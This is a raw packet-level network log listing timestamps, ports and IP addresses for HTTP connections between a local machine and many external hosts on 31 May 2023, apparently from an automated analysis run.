May 31, 2023 14:50:18.594964981 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.594983101 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.595001936 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.595019102 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.595108032 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.595108032 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.595108032 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.595108032 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.595108032 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.595108032 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.595108032 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.595820904 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.595846891 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.595865011 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.595875025 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.595894098 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.595905066 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.596259117 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.596317053 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.596318960 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.596338987 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.596353054 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.596358061 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.596374989 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.596379042 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.596395016 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.596411943 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.597234011 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.597263098 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.597281933 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.597284079 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.597294092 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.597305059 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.597317934 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.597326040 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.597342968 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.597362041 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.598156929 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.598186016 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.598205090 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.598205090 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.598217010 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.598225117 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.598238945 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.598244905 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.598263025 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.598278999 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.599116087 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.599301100 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.610583067 CEST	80	49826	172.67.165.62	192.168.2.3
May 31, 2023 14:50:18.610610962 CEST	80	49826	172.67.165.62	192.168.2.3
May 31, 2023 14:50:18.610626936 CEST	80	49826	172.67.165.62	192.168.2.3
May 31, 2023 14:50:18.610702991 CEST	49826	80	192.168.2.3	172.67.165.62
May 31, 2023 14:50:18.610848904 CEST	49826	80	192.168.2.3	172.67.165.62
May 31, 2023 14:50:18.613009930 CEST	80	49827	51.79.51.72	192.168.2.3
May 31, 2023 14:50:18.613111019 CEST	49827	80	192.168.2.3	51.79.51.72
May 31, 2023 14:50:18.653336048 CEST	49828	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:18.697319031 CEST	49827	80	192.168.2.3	51.79.51.72
May 31, 2023 14:50:18.709317923 CEST	80	49825	13.248.169.48	192.168.2.3
May 31, 2023 14:50:18.709492922 CEST	49825	80	192.168.2.3	13.248.169.48
May 31, 2023 14:50:18.731127024 CEST	80	49823	211.1.226.67	192.168.2.3
May 31, 2023 14:50:18.731168985 CEST	80	49823	211.1.226.67	192.168.2.3
May 31, 2023 14:50:18.731295109 CEST	49823	80	192.168.2.3	211.1.226.67
May 31, 2023 14:50:18.770495892 CEST	80	49828	96.127.180.42	192.168.2.3
May 31, 2023 14:50:18.770591974 CEST	49828	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:18.771322012 CEST	49823	80	192.168.2.3	211.1.226.67
May 31, 2023 14:50:18.786875010 CEST	49829	80	192.168.2.3	72.44.93.236
May 31, 2023 14:50:18.802264929 CEST	80	49827	51.79.51.72	192.168.2.3
May 31, 2023 14:50:18.802366972 CEST	80	49827	51.79.51.72	192.168.2.3
May 31, 2023 14:50:18.802445889 CEST	49827	80	192.168.2.3	51.79.51.72
May 31, 2023 14:50:18.804331064 CEST	49827	80	192.168.2.3	51.79.51.72
May 31, 2023 14:50:18.837846994 CEST	49830	80	192.168.2.3	39.99.233.155
May 31, 2023 14:50:18.837856054 CEST	49828	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:18.861917973 CEST	49831	80	192.168.2.3	104.21.55.224
May 31, 2023 14:50:18.878452063 CEST	80	49831	104.21.55.224	192.168.2.3
May 31, 2023 14:50:18.878603935 CEST	49831	80	192.168.2.3	104.21.55.224
May 31, 2023 14:50:18.881129026 CEST	49831	80	192.168.2.3	104.21.55.224
May 31, 2023 14:50:18.897567987 CEST	80	49831	104.21.55.224	192.168.2.3
May 31, 2023 14:50:18.909168959 CEST	80	49827	51.79.51.72	192.168.2.3
May 31, 2023 14:50:18.914422989 CEST	80	49829	72.44.93.236	192.168.2.3
May 31, 2023 14:50:18.914604902 CEST	49829	80	192.168.2.3	72.44.93.236
May 31, 2023 14:50:18.914941072 CEST	49829	80	192.168.2.3	72.44.93.236
May 31, 2023 14:50:18.915852070 CEST	80	49831	104.21.55.224	192.168.2.3
May 31, 2023 14:50:18.916016102 CEST	49831	80	192.168.2.3	104.21.55.224
May 31, 2023 14:50:18.925998926 CEST	49832	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:18.933293104 CEST	49833	80	192.168.2.3	77.68.50.105
May 31, 2023 14:50:18.946053028 CEST	49834	80	192.168.2.3	188.166.152.188
May 31, 2023 14:50:18.955035925 CEST	80	49828	96.127.180.42	192.168.2.3
May 31, 2023 14:50:18.955481052 CEST	80	49828	96.127.180.42	192.168.2.3
May 31, 2023 14:50:18.955630064 CEST	49828	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:18.965713978 CEST	80	49833	77.68.50.105	192.168.2.3
May 31, 2023 14:50:18.965795040 CEST	49833	80	192.168.2.3	77.68.50.105
May 31, 2023 14:50:18.977190018 CEST	80	49834	188.166.152.188	192.168.2.3
May 31, 2023 14:50:18.977286100 CEST	49834	80	192.168.2.3	188.166.152.188
May 31, 2023 14:50:18.984735012 CEST	49833	80	192.168.2.3	77.68.50.105
May 31, 2023 14:50:18.984792948 CEST	49834	80	192.168.2.3	188.166.152.188
May 31, 2023 14:50:18.985235929 CEST	49835	80	192.168.2.3	195.78.66.50
May 31, 2023 14:50:18.987416029 CEST	49828	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:19.015398026 CEST	80	49834	188.166.152.188	192.168.2.3
May 31, 2023 14:50:19.016527891 CEST	80	49834	188.166.152.188	192.168.2.3
May 31, 2023 14:50:19.016613960 CEST	49834	80	192.168.2.3	188.166.152.188
May 31, 2023 14:50:19.017255068 CEST	80	49833	77.68.50.105	192.168.2.3
May 31, 2023 14:50:19.017292976 CEST	80	49833	77.68.50.105	192.168.2.3
May 31, 2023 14:50:19.017357111 CEST	49833	80	192.168.2.3	77.68.50.105
May 31, 2023 14:50:19.028693914 CEST	49836	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:19.029895067 CEST	80	49835	195.78.66.50	192.168.2.3
May 31, 2023 14:50:19.030056953 CEST	49835	80	192.168.2.3	195.78.66.50
May 31, 2023 14:50:19.042243958 CEST	80	49829	72.44.93.236	192.168.2.3
May 31, 2023 14:50:19.050374031 CEST	80	49823	211.1.226.67	192.168.2.3
May 31, 2023 14:50:19.050478935 CEST	49823	80	192.168.2.3	211.1.226.67
May 31, 2023 14:50:19.090990067 CEST	80	49832	69.163.218.51	192.168.2.3
May 31, 2023 14:50:19.091502905 CEST	49832	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:19.104614973 CEST	80	49829	72.44.93.236	192.168.2.3
May 31, 2023 14:50:19.104855061 CEST	80	49828	96.127.180.42	192.168.2.3
May 31, 2023 14:50:19.104963064 CEST	49828	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:19.104963064 CEST	49829	80	192.168.2.3	72.44.93.236
May 31, 2023 14:50:19.106786013 CEST	80	49829	72.44.93.236	192.168.2.3
May 31, 2023 14:50:19.106854916 CEST	49829	80	192.168.2.3	72.44.93.236
May 31, 2023 14:50:19.108139038 CEST	49835	80	192.168.2.3	195.78.66.50
May 31, 2023 14:50:19.108818054 CEST	49832	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:19.110027075 CEST	49837	80	192.168.2.3	54.209.32.212
May 31, 2023 14:50:19.153196096 CEST	80	49835	195.78.66.50	192.168.2.3
May 31, 2023 14:50:19.155401945 CEST	80	49835	195.78.66.50	192.168.2.3
May 31, 2023 14:50:19.157246113 CEST	49835	80	192.168.2.3	195.78.66.50
May 31, 2023 14:50:19.175848007 CEST	49833	80	192.168.2.3	77.68.50.105
May 31, 2023 14:50:19.195259094 CEST	80	49836	69.163.239.62	192.168.2.3
May 31, 2023 14:50:19.195393085 CEST	49836	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:19.208394051 CEST	80	49833	77.68.50.105	192.168.2.3
May 31, 2023 14:50:19.208431005 CEST	80	49833	77.68.50.105	192.168.2.3
May 31, 2023 14:50:19.208519936 CEST	49833	80	192.168.2.3	77.68.50.105
May 31, 2023 14:50:19.255646944 CEST	80	49837	54.209.32.212	192.168.2.3
May 31, 2023 14:50:19.255829096 CEST	49837	80	192.168.2.3	54.209.32.212
May 31, 2023 14:50:19.273581982 CEST	80	49832	69.163.218.51	192.168.2.3
May 31, 2023 14:50:19.274713039 CEST	80	49832	69.163.218.51	192.168.2.3
May 31, 2023 14:50:19.274784088 CEST	49832	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:19.275656939 CEST	80	49832	69.163.218.51	192.168.2.3
May 31, 2023 14:50:19.275721073 CEST	49832	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:19.286181927 CEST	49837	80	192.168.2.3	54.209.32.212
May 31, 2023 14:50:19.324810982 CEST	49836	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:19.339749098 CEST	49832	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:19.431171894 CEST	80	49837	54.209.32.212	192.168.2.3
May 31, 2023 14:50:19.431211948 CEST	80	49837	54.209.32.212	192.168.2.3
May 31, 2023 14:50:19.431301117 CEST	49837	80	192.168.2.3	54.209.32.212
May 31, 2023 14:50:19.492086887 CEST	80	49836	69.163.239.62	192.168.2.3
May 31, 2023 14:50:19.492450953 CEST	80	49836	69.163.239.62	192.168.2.3
May 31, 2023 14:50:19.492695093 CEST	49836	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:19.504507065 CEST	80	49832	69.163.218.51	192.168.2.3
May 31, 2023 14:50:19.576785088 CEST	49837	80	192.168.2.3	54.209.32.212
May 31, 2023 14:50:19.621459961 CEST	49838	80	192.168.2.3	23.227.38.74
May 31, 2023 14:50:19.638103008 CEST	80	49838	23.227.38.74	192.168.2.3
May 31, 2023 14:50:19.638237000 CEST	49838	80	192.168.2.3	23.227.38.74
May 31, 2023 14:50:19.688982010 CEST	80	49779	80.93.82.33	192.168.2.3
May 31, 2023 14:50:19.691217899 CEST	49779	80	192.168.2.3	80.93.82.33
May 31, 2023 14:50:19.715784073 CEST	49836	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:19.721616030 CEST	80	49837	54.209.32.212	192.168.2.3
May 31, 2023 14:50:19.729516029 CEST	49838	80	192.168.2.3	23.227.38.74
May 31, 2023 14:50:19.730519056 CEST	49839	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:19.730751038 CEST	49840	80	192.168.2.3	54.209.32.212
May 31, 2023 14:50:19.731946945 CEST	49841	80	192.168.2.3	165.227.252.190
May 31, 2023 14:50:19.731946945 CEST	49842	80	192.168.2.3	104.196.26.65
May 31, 2023 14:50:19.739727974 CEST	80	49767	185.53.177.50	192.168.2.3
May 31, 2023 14:50:19.743385077 CEST	49767	80	192.168.2.3	185.53.177.50
May 31, 2023 14:50:19.746193886 CEST	80	49838	23.227.38.74	192.168.2.3
May 31, 2023 14:50:19.833698034 CEST	80	49841	165.227.252.190	192.168.2.3
May 31, 2023 14:50:19.835316896 CEST	49841	80	192.168.2.3	165.227.252.190
May 31, 2023 14:50:19.876522064 CEST	80	49840	54.209.32.212	192.168.2.3
May 31, 2023 14:50:19.879174948 CEST	49840	80	192.168.2.3	54.209.32.212
May 31, 2023 14:50:19.881098986 CEST	80	49842	104.196.26.65	192.168.2.3
May 31, 2023 14:50:19.881258965 CEST	49842	80	192.168.2.3	104.196.26.65
May 31, 2023 14:50:19.882247925 CEST	80	49836	69.163.239.62	192.168.2.3
May 31, 2023 14:50:19.882577896 CEST	80	49836	69.163.239.62	192.168.2.3
May 31, 2023 14:50:19.883013964 CEST	49836	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:19.883395910 CEST	80	49838	23.227.38.74	192.168.2.3
May 31, 2023 14:50:19.888039112 CEST	49838	80	192.168.2.3	23.227.38.74
May 31, 2023 14:50:19.895162106 CEST	80	49839	69.163.218.51	192.168.2.3
May 31, 2023 14:50:19.898024082 CEST	49839	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:19.920018911 CEST	80	49781	70.39.251.249	192.168.2.3
May 31, 2023 14:50:19.923037052 CEST	49781	80	192.168.2.3	70.39.251.249
May 31, 2023 14:50:19.968604088 CEST	49839	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:19.970015049 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:19.986601114 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:19.986728907 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.083235979 CEST	80	49776	59.106.19.204	192.168.2.3
May 31, 2023 14:50:20.087050915 CEST	49776	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:20.133220911 CEST	80	49839	69.163.218.51	192.168.2.3
May 31, 2023 14:50:20.134033918 CEST	80	49839	69.163.218.51	192.168.2.3
May 31, 2023 14:50:20.134860992 CEST	80	49839	69.163.218.51	192.168.2.3
May 31, 2023 14:50:20.134964943 CEST	49839	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:20.134964943 CEST	49839	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:20.184144020 CEST	49841	80	192.168.2.3	165.227.252.190
May 31, 2023 14:50:20.184612036 CEST	49840	80	192.168.2.3	54.209.32.212
May 31, 2023 14:50:20.184763908 CEST	49842	80	192.168.2.3	104.196.26.65
May 31, 2023 14:50:20.201822042 CEST	49844	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:20.237235069 CEST	49839	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:20.248614073 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.265271902 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.285834074 CEST	80	49841	165.227.252.190	192.168.2.3
May 31, 2023 14:50:20.286020041 CEST	80	49841	165.227.252.190	192.168.2.3
May 31, 2023 14:50:20.286166906 CEST	49841	80	192.168.2.3	165.227.252.190
May 31, 2023 14:50:20.305629969 CEST	80	49844	208.97.178.138	192.168.2.3
May 31, 2023 14:50:20.307118893 CEST	49844	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:20.329565048 CEST	80	49840	54.209.32.212	192.168.2.3
May 31, 2023 14:50:20.329596043 CEST	80	49840	54.209.32.212	192.168.2.3
May 31, 2023 14:50:20.329663038 CEST	49840	80	192.168.2.3	54.209.32.212
May 31, 2023 14:50:20.333436966 CEST	80	49842	104.196.26.65	192.168.2.3
May 31, 2023 14:50:20.333934069 CEST	80	49842	104.196.26.65	192.168.2.3
May 31, 2023 14:50:20.334502935 CEST	49842	80	192.168.2.3	104.196.26.65
May 31, 2023 14:50:20.401694059 CEST	80	49839	69.163.218.51	192.168.2.3
May 31, 2023 14:50:20.450211048 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:20.452421904 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:20.517210960 CEST	49840	80	192.168.2.3	54.209.32.212
May 31, 2023 14:50:20.519289017 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.519324064 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.519345045 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.519362926 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.519380093 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.519398928 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.519414902 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.519438028 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.519457102 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.519473076 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.519484997 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.519504070 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.519512892 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.519526005 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.519561052 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.520133972 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.520160913 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.520232916 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.531331062 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.531367064 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.531387091 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.531404972 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.531429052 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.531435966 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.531455040 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.531474113 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.531512976 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.531649113 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.531788111 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.531809092 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.531820059 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.531836033 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.531843901 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.531862020 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.531882048 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.561825037 CEST	80	49790	62.122.190.121	192.168.2.3
May 31, 2023 14:50:20.562005043 CEST	49790	80	192.168.2.3	62.122.190.121
May 31, 2023 14:50:20.580715895 CEST	49816	80	192.168.2.3	193.166.255.171
May 31, 2023 14:50:20.636378050 CEST	49844	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:20.662184000 CEST	80	49840	54.209.32.212	192.168.2.3
May 31, 2023 14:50:20.740283012 CEST	80	49844	208.97.178.138	192.168.2.3
May 31, 2023 14:50:20.741631985 CEST	80	49844	208.97.178.138	192.168.2.3
May 31, 2023 14:50:20.741801977 CEST	49844	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:20.742361069 CEST	80	49844	208.97.178.138	192.168.2.3
May 31, 2023 14:50:20.743520021 CEST	49844	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:20.859975100 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.860003948 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.860217094 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.860217094 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.860671997 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.860698938 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.860718966 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.860723019 CEST	49845	80	192.168.2.3	72.44.93.236
May 31, 2023 14:50:20.860752106 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.860765934 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.860785007 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.860785007 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.860797882 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.860826015 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.860843897 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.861124992 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.861151934 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.861171961 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.861196995 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.861205101 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.861222982 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.861232042 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.861260891 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.861284018 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.862188101 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.862216949 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.862234116 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.862265110 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.862279892 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.872971058 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.873013973 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.873033047 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.873047113 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.873176098 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.873493910 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.873517990 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.873555899 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.873569965 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.873589039 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.873606920 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.873617887 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.873648882 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.874196053 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.874222994 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.874243021 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.874255896 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.874274015 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.874291897 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.874310017 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.874329090 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.874396086 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.875165939 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.875195026 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.875212908 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.875227928 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.875245094 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.875255108 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.875271082 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.875291109 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.875325918 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.876127005 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.876152992 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.876172066 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.876188993 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.876202106 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.876215935 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.876230001 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.876260042 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.876296997 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.877124071 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.877150059 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.877166986 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.877204895 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.877239943 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.885848045 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.885884047 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.885902882 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.885915995 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.885934114 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.885970116 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.885991096 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.886058092 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.886837006 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.886863947 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.886887074 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.886887074 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.886912107 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.886928082 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.886954069 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:20.887238979 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.887270927 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:50:20.887290001 CEST	80	49843	172.67.70.223	192.168.2.3
